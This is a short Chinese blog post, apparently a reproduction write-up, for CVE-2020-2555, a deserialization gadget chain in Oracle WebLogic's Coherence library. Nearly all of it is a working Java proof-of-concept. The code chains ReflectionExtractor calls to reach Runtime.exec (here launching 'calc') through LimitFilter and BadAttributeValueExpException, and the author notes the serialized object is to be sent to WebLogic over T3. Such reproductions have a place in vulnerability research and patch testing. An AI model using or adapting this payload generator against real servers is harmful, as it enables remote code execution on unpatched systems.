zoukankan      html  css  js  c++  java
  • CVE-2020-2555 weblogic 反序列化gadget 复现

    简介

    该反序列化的gadget存在与coherence包中。具体可以见分析

    构造chain类似于common-collection的chain,可以照葫芦画瓢。

    mvn 好像不能下载coherence包,很奇怪,直接下jar包就行。

    反序列化的对象,通过t3发送给weblogic即可。所以,这个只是生成payload的工具。

    poc

    package org.example;
    
    import com.tangosol.util.ValueExtractor;
    import com.tangosol.util.extractor.ChainedExtractor;
    import com.tangosol.util.extractor.ReflectionExtractor;
    import com.tangosol.util.filter.AlwaysFilter;
    import com.tangosol.util.filter.LimitFilter;
    
    import javax.management.BadAttributeValueExpException;
    import java.io.*;
    
    /*
    Powered by UnicodeSec
     */
    
    public class App 
    {
        public static void main( String[] args ) throws IOException, ClassNotFoundException {
            ValueExtractor[] poc = new ValueExtractor[]{
                    new ReflectionExtractor("getMethod", new Object[] {
                            "getRuntime", new Class[0] }),
                    new ReflectionExtractor("invoke", new Object[] {
                            null, new Object[0] }),
                    new ReflectionExtractor("exec", new String[]{"calc"})
        };
            ChainedExtractor chained = new ChainedExtractor(poc);
            LimitFilter limit = new LimitFilter(new AlwaysFilter(), 1);
            limit.setComparator(chained);
            limit.setTopAnchor(Runtime.class);
            BadAttributeValueExpException expException = new BadAttributeValueExpException(limit);
    
            // 序列化测试
            ByteArrayOutputStream bytes = new ByteArrayOutputStream();
            ObjectOutputStream oos = new ObjectOutputStream(bytes);
            oos.writeObject(expException);
            oos.close();
            //反序列化
            ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bytes.toByteArray()));
            BadAttributeValueExpException newUser = (BadAttributeValueExpException)ois.readObject();
            System.out.println(newUser.toString());
    
        }
    }
    
    

  • 相关阅读:
    Linux 分区与挂载
    Linux Shell 编程总结
    Java AtomicIntegerFieldUpdater 抽象类
    Java 内部类加载顺序
    Java AtomicIntegerArray 类
    Java AtomicInteger 类
    Java ReentrantLock 类
    Java Runnable 接口
    Java Supplier 接口
    Java Consumer 接口
  • 原文地址:https://www.cnblogs.com/potatsoSec/p/12516572.html
Copyright © 2011-2022 走看看